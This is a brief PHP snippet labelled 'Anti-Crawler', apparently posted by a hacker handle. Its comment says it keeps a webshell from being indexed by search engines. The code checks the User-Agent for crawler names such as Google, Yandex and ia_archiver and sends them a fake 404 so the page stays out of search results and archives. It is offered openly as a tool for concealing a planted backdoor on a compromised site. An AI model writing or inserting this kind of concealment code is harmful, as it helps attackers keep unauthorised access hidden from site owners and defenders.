Anti-Crawler By JfaMhxcTC PC

// Anti-Crawler By JfaMhxcTC PC
## God Bless all
/* For your favorite webshell not index in any motor search*/
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}